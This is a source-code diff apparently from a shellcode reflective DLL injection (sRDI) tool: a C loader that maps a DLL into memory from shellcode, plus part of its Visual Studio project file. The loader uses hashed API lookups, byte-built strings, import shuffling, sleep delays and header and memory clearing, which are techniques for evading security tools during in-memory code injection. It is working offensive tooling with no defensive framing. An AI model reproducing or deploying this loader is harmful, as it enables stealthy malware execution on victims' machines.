return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
}
// All modules have been exhausted and the function was not found.
return NULL;
}
+610
View File
@@ -0,0 +1,610 @@
#define WIN32_LEAN_AND_MEAN
#pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union'
#include "GetProcAddressWithHash.h"
#include <windows.h>
#include <winternl.h>
#include <intrin.h>
#define SRDI_CLEARHEADER 0x1
#define SRDI_CLEARMEMORY 0x2
#define SRDI_OBFUSCATEIMPORTS 0x4
#define SRDI_PASS_SHELLCODE_BASE 0x8
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
/** NOTE: module hashes are computed using all-caps unicode strings */
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0x726774c
#define GETPROCADDRESS_HASH 0x7802f749
#define VIRTUALALLOC_HASH 0xe553a458
#define EXITTHREAD_HASH 0xa2a1de0
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x945cb1af
#define RTLEXITUSERTHREAD_HASH 0xFF7F061A // Vista+
#define GETNATIVESYSTEMINFO_HASH 0x959e0033
#define VIRTUALPROTECT_HASH 0xc38ae110
#define MESSAGEBOXA_HASH 0x7568345
#define LOCALFREE_HASH 0xea61fcb1
#define VIRTUALFREE_HASH 0x300f2f0b
#define SLEEP_HASH 0xe035f044
#define RTLADDFUNCTIONTABLE_HASH 0x45b82eba
#define LDRLOADDLL_HASH 0xbdbf9c13
#define LDRGETPROCADDRESS_HASH 0x5ed941b5
#define HASH_KEY 13
#ifdef _WIN64
#define HOST_MACHINE IMAGE_FILE_MACHINE_AMD64
#else
#define HOST_MACHINE IMAGE_FILE_MACHINE_I386
#endif
// 100-ns period
#define OBFUSCATE_IMPORT_DELAY 5 * 1000 * 10000
typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
typedef BOOL(*EXPORTFUNC)(LPVOID, DWORD);
typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR);
typedef ULONG_PTR(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef VOID(WINAPI * EXITTHREAD)(DWORD);
typedef BOOL(NTAPI * FLUSHINSTRUCTIONCACHE)(HANDLE, LPCVOID, SIZE_T);
typedef VOID(WINAPI * GETNATIVESYSTEMINFO)(LPSYSTEM_INFO);
typedef BOOL(WINAPI * VIRTUALPROTECT)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef int (WINAPI * MESSAGEBOXA)(HWND, LPSTR, LPSTR, UINT);
typedef BOOL(WINAPI * VIRTUALFREE)(LPVOID, SIZE_T, DWORD);
typedef BOOL(WINAPI * LOCALFREE)(LPVOID);
typedef VOID(WINAPI* SLEEP)(DWORD);
typedef BOOLEAN(WINAPI* RTLADDFUNCTIONTABLE)(PVOID, DWORD, DWORD64);
typedef NTSTATUS(WINAPI *LDRLOADDLL)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
typedef NTSTATUS(WINAPI *LDRGETPROCADDRESS)(HMODULE, PANSI_STRING, WORD, PVOID*);
#pragma warning( push )
#pragma warning( disable : 4214 ) // nonstandard extension
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
#pragma warning(pop)
static inline size_t
AlignValueUp(size_t value, size_t alignment) {
return (value + alignment - 1) & ~(alignment - 1);
}
static inline size_t
_strlen(char* s) {
size_t i;
for (i = 0; s[i] != '\0'; i++);
return i;
}
static inline size_t
_wcslen(wchar_t* s) {
size_t i;
for (i = 0; s[i] != '\0'; i++);
return i;
}
#define RVA(type, base, rva) (type)((ULONG_PTR) base + rva)
#define FILL_STRING(string, buffer) \
string.Length = (USHORT)_strlen(buffer); \
string.MaximumLength = string.Length; \
string.Buffer = buffer
#define FILL_UNI_STRING(string, buffer) \
string.Length = (USHORT)_wcslen(buffer); \
string.MaximumLength = string.Length; \
string.Buffer = buffer
#define FILL_STRING_WITH_BUF(string, buffer) \
string.Length = sizeof(buffer); \
string.MaximumLength = string.Length; \
string.Buffer = (PCHAR)buffer
ULONG_PTR LoadDLL(PBYTE pbModule, DWORD dwFunctionHash, LPVOID lpUserData, DWORD dwUserdataLen, PVOID pvShellcodeBase, DWORD dwFlags)
{
#pragma warning( push )
#pragma warning( disable : 4055 ) // Ignore cast warnings
// Function pointers
LDRLOADDLL pLdrLoadDll = NULL;
LDRGETPROCADDRESS pLdrGetProcAddress = NULL;
LOADLIBRARYA pLoadLibraryA = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
FLUSHINSTRUCTIONCACHE pFlushInstructionCache = NULL;
GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;
VIRTUALPROTECT pVirtualProtect = NULL;
VIRTUALFREE pVirtualFree = NULL;
LOCALFREE pLocalFree = NULL;
SLEEP pSleep = NULL;
RTLADDFUNCTIONTABLE pRtlAddFunctionTable = NULL;
//CHAR msg[2] = { 'a','\0' };
//MESSAGEBOXA pMessageBoxA = NULL;
// PE data
PIMAGE_NT_HEADERS ntHeaders;
PIMAGE_SECTION_HEADER sectionHeader;
PIMAGE_DATA_DIRECTORY dataDir;
PIMAGE_IMPORT_DESCRIPTOR importDesc;
PIMAGE_DELAYLOAD_DESCRIPTOR delayDesc;
PIMAGE_THUNK_DATA firstThunk, origFirstThunk;
PIMAGE_IMPORT_BY_NAME importByName;
PIMAGE_TLS_DIRECTORY tlsDir;
PIMAGE_TLS_CALLBACK * callback;
PIMAGE_BASE_RELOCATION relocation;
PIMAGE_RELOC relocList;
PIMAGE_EXPORT_DIRECTORY exportDir;
#ifdef _WIN64
PIMAGE_RUNTIME_FUNCTION_ENTRY rfEntry;
#endif
PDWORD expName;
PWORD expOrdinal;
LPCSTR expNameStr;
// Functions
DLLMAIN dllMain;
EXPORTFUNC exportFunc;
// Memory protections
DWORD executable, readable, writeable, protect;
// Counters
DWORD i = 0;
DWORD c = 0;
// Alignment
DWORD lastSectionEnd;
DWORD endOfSection;
DWORD alignedImageSize;
ULONG_PTR baseOffset;
SYSTEM_INFO sysInfo;
// General
DWORD funcHash;
DWORD importCount;
HANDLE library;
// String
UNICODE_STRING uString = { 0 };
STRING aString = { 0 };
WCHAR sKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'};
// At a certain length (15ish), the compiler with screw with inline
// strings declared as CHAR. No idea why, use BYTE to get around it.
BYTE sSleep[] = { 'S', 'l', 'e', 'e', 'p' };
BYTE sLoadLibrary[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A' };
BYTE sVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c' };
BYTE sVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't' };
BYTE sFlushInstructionCache[] = { 'F', 'l', 'u', 's', 'h', 'I', 'n', 's', 't', 'r', 'u', 'c', 't', 'i', 'o', 'n', 'C', 'a', 'c', 'h', 'e' };
BYTE sGetNativeSystemInfo[] = { 'G', 'e', 't', 'N', 'a', 't', 'i', 'v', 'e', 'S', 'y', 's', 't', 'e', 'm', 'I', 'n', 'f', 'o' };
BYTE sRtlAddFunctionTable[] = { 'R', 't', 'l', 'A', 'd', 'd', 'F', 'u', 'n', 'c', 't', 'i', 'o', 'n', 'T', 'a', 'b', 'l', 'e' };
// Import obfuscation
DWORD randSeed;
DWORD rand;
DWORD sleep;
DWORD selection;
IMAGE_IMPORT_DESCRIPTOR tempDesc;
// Relocated base
ULONG_PTR baseAddress;
// -------
///
// STEP 1: locate all the required functions
///
pLdrLoadDll = (LDRLOADDLL)GetProcAddressWithHash(LDRLOADDLL_HASH);
pLdrGetProcAddress = (LDRGETPROCADDRESS)GetProcAddressWithHash(LDRGETPROCADDRESS_HASH);
uString.Buffer = sKernel32;
uString.MaximumLength = sizeof(sKernel32);
uString.Length = sizeof(sKernel32);
//pMessageBoxA = (MESSAGEBOXA)GetProcAddressWithHash(MESSAGEBOXA_HASH);
pLdrLoadDll(NULL, 0, &uString, &library);
FILL_STRING_WITH_BUF(aString, sVirtualAlloc);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pVirtualAlloc);
FILL_STRING_WITH_BUF(aString, sVirtualProtect);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pVirtualProtect);
FILL_STRING_WITH_BUF(aString, sFlushInstructionCache);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pFlushInstructionCache);
FILL_STRING_WITH_BUF(aString, sGetNativeSystemInfo);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pGetNativeSystemInfo);
FILL_STRING_WITH_BUF(aString, sSleep);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pSleep);
FILL_STRING_WITH_BUF(aString, sRtlAddFunctionTable);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pRtlAddFunctionTable);
FILL_STRING_WITH_BUF(aString, sLoadLibrary);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pLoadLibraryA);
//FILL_STRING_WITH_BUF(aString, sMessageBox);
//pLdrGetProcAddress(library, &aString, 0, (PVOID*)&pMessageBoxA);
if (!pVirtualAlloc || !pVirtualProtect || !pSleep ||
!pFlushInstructionCache || !pGetNativeSystemInfo) {
return 0;
}
///
// STEP 2: load our image into a new permanent location in memory
///
ntHeaders = RVA(PIMAGE_NT_HEADERS, pbModule, ((PIMAGE_DOS_HEADER)pbModule)->e_lfanew);
// Perform sanity checks on the image (Stolen from https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c)
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
return 0;
if (ntHeaders->FileHeader.Machine != HOST_MACHINE)
return 0;
if (ntHeaders->OptionalHeader.SectionAlignment & 1)
return 0;
// Align the image to the page size (Stolen from https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c)
sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
lastSectionEnd = 0;
for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {
if (sectionHeader->SizeOfRawData == 0) {
endOfSection = sectionHeader->VirtualAddress + ntHeaders->OptionalHeader.SectionAlignment;
}
else {
endOfSection = sectionHeader->VirtualAddress + sectionHeader->SizeOfRawData;
}
if (endOfSection > lastSectionEnd) {
lastSectionEnd = endOfSection;
}
}
pGetNativeSystemInfo(&sysInfo);
alignedImageSize = (DWORD)AlignValueUp(ntHeaders->OptionalHeader.SizeOfImage, sysInfo.dwPageSize);
if (alignedImageSize != AlignValueUp(lastSectionEnd, sysInfo.dwPageSize)) {
return 0;
}
// Allocate all the memory for the DLL to be loaded into. Attempt to use the preferred base address.
/*baseAddress = (ULONG_PTR)pVirtualAlloc(
(LPVOID)(ntHeaders->OptionalHeader.ImageBase),
alignedImageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE
);
if (baseAddress == 0) {
baseAddress = (ULONG_PTR)pVirtualAlloc(
NULL,
alignedImageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE
);
}
*/
const size_t offset = 500 * 1024; // 500 kB in bytes - chosen offset from shellcode location - adapt it to your needs
baseAddress = (ULONG_PTR)pvShellcodeBase + offset;
// Copy over the headers
if (dwFlags & SRDI_CLEARHEADER) {
((PIMAGE_DOS_HEADER)baseAddress)->e_lfanew = ((PIMAGE_DOS_HEADER)pbModule)->e_lfanew;
for (i = ((PIMAGE_DOS_HEADER)pbModule)->e_lfanew; i < ntHeaders->OptionalHeader.SizeOfHeaders; i++) {
((PBYTE)baseAddress)[i] = ((PBYTE)pbModule)[i];
}
}else{
for (i = 0; i < ntHeaders->OptionalHeader.SizeOfHeaders; i++) {
((PBYTE)baseAddress)[i] = ((PBYTE)pbModule)[i];
}
}
ntHeaders = RVA(PIMAGE_NT_HEADERS, baseAddress, ((PIMAGE_DOS_HEADER)baseAddress)->e_lfanew);
///
// STEP 3: Load in the sections
///
sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {
for (c = 0; c < sectionHeader->SizeOfRawData; c++) {
((PBYTE)(baseAddress + sectionHeader->VirtualAddress))[c] = ((PBYTE)(pbModule + sectionHeader->PointerToRawData))[c];
}
}
///
// STEP 4: process all of our images relocations (assuming we missed the preferred address)
///
baseOffset = baseAddress - ntHeaders->OptionalHeader.ImageBase;
dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (baseOffset && dataDir->Size) {
relocation = RVA(PIMAGE_BASE_RELOCATION, baseAddress, dataDir->VirtualAddress);
while (relocation->VirtualAddress) {
relocList = (PIMAGE_RELOC)(relocation + 1);
while ((PBYTE)relocList != (PBYTE)relocation + relocation->SizeOfBlock) {
if (relocList->type == IMAGE_REL_BASED_DIR64)
*(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += baseOffset;
else if (relocList->type == IMAGE_REL_BASED_HIGHLOW)
*(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += (DWORD)baseOffset;
else if (relocList->type == IMAGE_REL_BASED_HIGH)
*(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += HIWORD(baseOffset);
else if (relocList->type == IMAGE_REL_BASED_LOW)
*(PULONG_PTR)((PBYTE)baseAddress + relocation->VirtualAddress + relocList->offset) += LOWORD(baseOffset);
relocList++;
}
relocation = (PIMAGE_BASE_RELOCATION)relocList;
}
}
///
// STEP 5: process our import table
///
dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
randSeed = (DWORD)((ULONGLONG)pbModule);
if (dataDir->Size) {
importDesc = RVA(PIMAGE_IMPORT_DESCRIPTOR, baseAddress, dataDir->VirtualAddress);
importCount = 0;
for (; importDesc->Name; importDesc++) {
importCount++;
}
sleep = 0;
importDesc = RVA(PIMAGE_IMPORT_DESCRIPTOR, baseAddress, dataDir->VirtualAddress);
if (dwFlags & SRDI_OBFUSCATEIMPORTS && importCount > 1) {
sleep = (dwFlags & 0xFFFF0000);
sleep = sleep >> 16;
for (i = 0; i < importCount - 1; i++) {
randSeed = (214013 * randSeed + 2531011);
rand = (randSeed >> 16) & 0x7FFF;
selection = i + rand / (32767 / (importCount - i) + 1);
tempDesc = importDesc[selection];
importDesc[selection] = importDesc[i];
importDesc[i] = tempDesc;
}
}
importDesc = RVA(PIMAGE_IMPORT_DESCRIPTOR, baseAddress, dataDir->VirtualAddress);
for (; importDesc->Name; importDesc++) {
library = pLoadLibraryA((LPSTR)(baseAddress + importDesc->Name));
firstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, importDesc->FirstThunk);
origFirstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, importDesc->OriginalFirstThunk);
for (; origFirstThunk->u1.Function; firstThunk++, origFirstThunk++) {
if (IMAGE_SNAP_BY_ORDINAL(origFirstThunk->u1.Ordinal)) {
pLdrGetProcAddress(library, NULL, (WORD)origFirstThunk->u1.Ordinal, (PVOID *)&(firstThunk->u1.Function));
}
else {
importByName = RVA(PIMAGE_IMPORT_BY_NAME, baseAddress, origFirstThunk->u1.AddressOfData);
FILL_STRING(aString, importByName->Name);
pLdrGetProcAddress(library, &aString, 0, (PVOID*)&(firstThunk->u1.Function));
}
}
if (sleep && dwFlags & SRDI_OBFUSCATEIMPORTS && importCount > 1) {
pSleep(sleep * 1000);
}
}
}
///
// STEP 6: process our delayed import table
///
dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT];
if (dataDir->Size) {
delayDesc = RVA(PIMAGE_DELAYLOAD_DESCRIPTOR, baseAddress, dataDir->VirtualAddress);
for (; delayDesc->DllNameRVA; delayDesc++) {
library = pLoadLibraryA((LPSTR)(baseAddress + delayDesc->DllNameRVA));
firstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, delayDesc->ImportAddressTableRVA);
origFirstThunk = RVA(PIMAGE_THUNK_DATA, baseAddress, delayDesc->ImportNameTableRVA);
for (; firstThunk->u1.Function; firstThunk++, origFirstThunk++) {
if (IMAGE_SNAP_BY_ORDINAL(origFirstThunk->u1.Ordinal)) {
pLdrGetProcAddress(library, NULL, (WORD)origFirstThunk->u1.Ordinal, (PVOID *)&(firstThunk->u1.Function));
}
else {
importByName = RVA(PIMAGE_IMPORT_BY_NAME, baseAddress, origFirstThunk->u1.AddressOfData);
FILL_STRING(aString, importByName->Name);
pLdrGetProcAddress(library, &aString, 0, (PVOID *)&(firstThunk->u1.Function));
}
}
}
}
///
// STEP 7: Finalize our sections. Set memory protections.
///
sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
for (i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, sectionHeader++) {
if (sectionHeader->SizeOfRawData) {
// determine protection flags based on characteristics
executable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
readable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
writeable = (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (!executable && !readable && !writeable)
protect = PAGE_NOACCESS;
else if (!executable && !readable && writeable)
protect = PAGE_WRITECOPY;
else if (!executable && readable && !writeable)
protect = PAGE_READONLY;
else if (!executable && readable && writeable)
protect = PAGE_READWRITE;
else if (executable && !readable && !writeable)
protect = PAGE_EXECUTE;
else if (executable && !readable && writeable)
protect = PAGE_EXECUTE_WRITECOPY;
else if (executable && readable && !writeable)
protect = PAGE_EXECUTE_READ;
else if (executable && readable && writeable)
protect = PAGE_EXECUTE_READWRITE;
if (sectionHeader->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
protect |= PAGE_NOCACHE;
}
// change memory access flags
/*
pVirtualProtect(
(LPVOID)(baseAddress + sectionHeader->VirtualAddress),
sectionHeader->SizeOfRawData,
protect, &protect
);
*/
}
}
// We must flush the instruction cache to avoid stale code being used
pFlushInstructionCache((HANDLE)-1, NULL, 0);
///
// STEP 8: Execute TLS callbacks
///
dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
if (dataDir->Size)
{
tlsDir = RVA(PIMAGE_TLS_DIRECTORY, baseAddress, dataDir->VirtualAddress);
callback = (PIMAGE_TLS_CALLBACK *)(tlsDir->AddressOfCallBacks);
for (; *callback; callback++) {
(*callback)((LPVOID)baseAddress, DLL_PROCESS_ATTACH, NULL);
}
}
///
// STEP 9: Register exception handlers (x64 only)
///
#ifdef _WIN64
dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
if (pRtlAddFunctionTable && dataDir->Size)
{
rfEntry = RVA(PIMAGE_RUNTIME_FUNCTION_ENTRY, baseAddress, dataDir->VirtualAddress);
pRtlAddFunctionTable(rfEntry, (dataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1, baseAddress);
}
#endif
///
// STEP 10: call our images entry point
///
dllMain = RVA(DLLMAIN, baseAddress, ntHeaders->OptionalHeader.AddressOfEntryPoint);
dllMain((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, (LPVOID)1);
///
// STEP 11: call our exported function
///
if (dwFunctionHash) {
do
{
dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!dataDir->Size)
break;
exportDir = (PIMAGE_EXPORT_DIRECTORY)(baseAddress + dataDir->VirtualAddress);
if (!exportDir->NumberOfNames || !exportDir->NumberOfFunctions)
break;
expName = RVA(PDWORD, baseAddress, exportDir->AddressOfNames);
expOrdinal = RVA(PWORD, baseAddress, exportDir->AddressOfNameOrdinals);
for (i = 0; i < exportDir->NumberOfNames; i++, expName++, expOrdinal++) {
expNameStr = RVA(LPCSTR, baseAddress, *expName);
funcHash = 0;
if (!expNameStr)
break;
for (; *expNameStr; expNameStr++) {
funcHash += *expNameStr;
funcHash = ROTR32(funcHash, 13);
}
if (dwFunctionHash == funcHash && expOrdinal)
{
exportFunc = RVA(EXPORTFUNC, baseAddress, *(PDWORD)(baseAddress + exportDir->AddressOfFunctions + (*expOrdinal * 4)));
if (dwFlags & SRDI_PASS_SHELLCODE_BASE) {
exportFunc(pvShellcodeBase, sizeof(PVOID));
} else {
exportFunc(lpUserData, dwUserdataLen);
}
break;
}
}
} while (0);
}
if (dwFlags & SRDI_CLEARMEMORY && pVirtualFree && pLocalFree) {
if (!pVirtualFree((LPVOID)pbModule, 0, 0x8000))
pLocalFree((LPVOID)pbModule);
}
// Atempt to return a handle to the module
return baseAddress;
}
@@ -0,0 +1,918 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{6FC09BDB-365F-4691-BBD9-CB7F69C9527A}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>PIC_Bindshell</RootNamespace>
<ProjectName>ShellcodeRDI</ProjectName>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>
</LinkIncremental>
<IgnoreImportLibrary />
<GenerateManifest />
<ExtensionsToDeleteOnClean>*.bin;*.map;*.cdf;*.cache;*.obj;*.ilk;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi</ExtensionsToDeleteOnClean>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental />
<IgnoreImportLibrary />
<GenerateManifest />
<ExtensionsToDeleteOnClean>*.bin;*.map;*.cdf;*.cache;*.obj;*.ilk;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi</ExtensionsToDeleteOnClean>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental />
<IgnoreImportLibrary />
<GenerateManifest />
<ExtensionsToDeleteOnClean>*.bin;*.map;*.cdf;*.cache;*.obj;*.ilk;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi</ExtensionsToDeleteOnClean>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental />
<IgnoreImportLibrary />
<GenerateManifest />
<ExtensionsToDeleteOnClean>*.bin;*.map;*.cdf;*.cache;*.obj;*.ilk;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi</ExtensionsToDeleteOnClean>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental />
<IgnoreImportLibrary />
<GenerateManifest />
<ExtensionsToDeleteOnClean>*.bin;*.map;*.cdf;*.cache;*.obj;*.ilk;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi</ExtensionsToDeleteOnClean>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>
</FunctionLevelLinking>
<IntrinsicFunctions>
</IntrinsicFunctions>
<PreprocessorDefinitions>
</PreprocessorDefinitions>
<CompileAs>CompileAsC</CompileAs>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
<OmitDefaultLibName>true</OmitDefaultLibName>
<BufferSecurityCheck>false</BufferSecurityCheck>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BasicRuntimeChecks />
<DisableLanguageExtensions />
<CallingConvention />
<InlineFunctionExpansion />
<EnableFiberSafeOptimizations />
<IgnoreStandardIncludePath />
<PreprocessKeepComments />
<MinimalRebuild />
<ExceptionHandling />
<EnableEnhancedInstructionSet />
<FloatingPointModel />
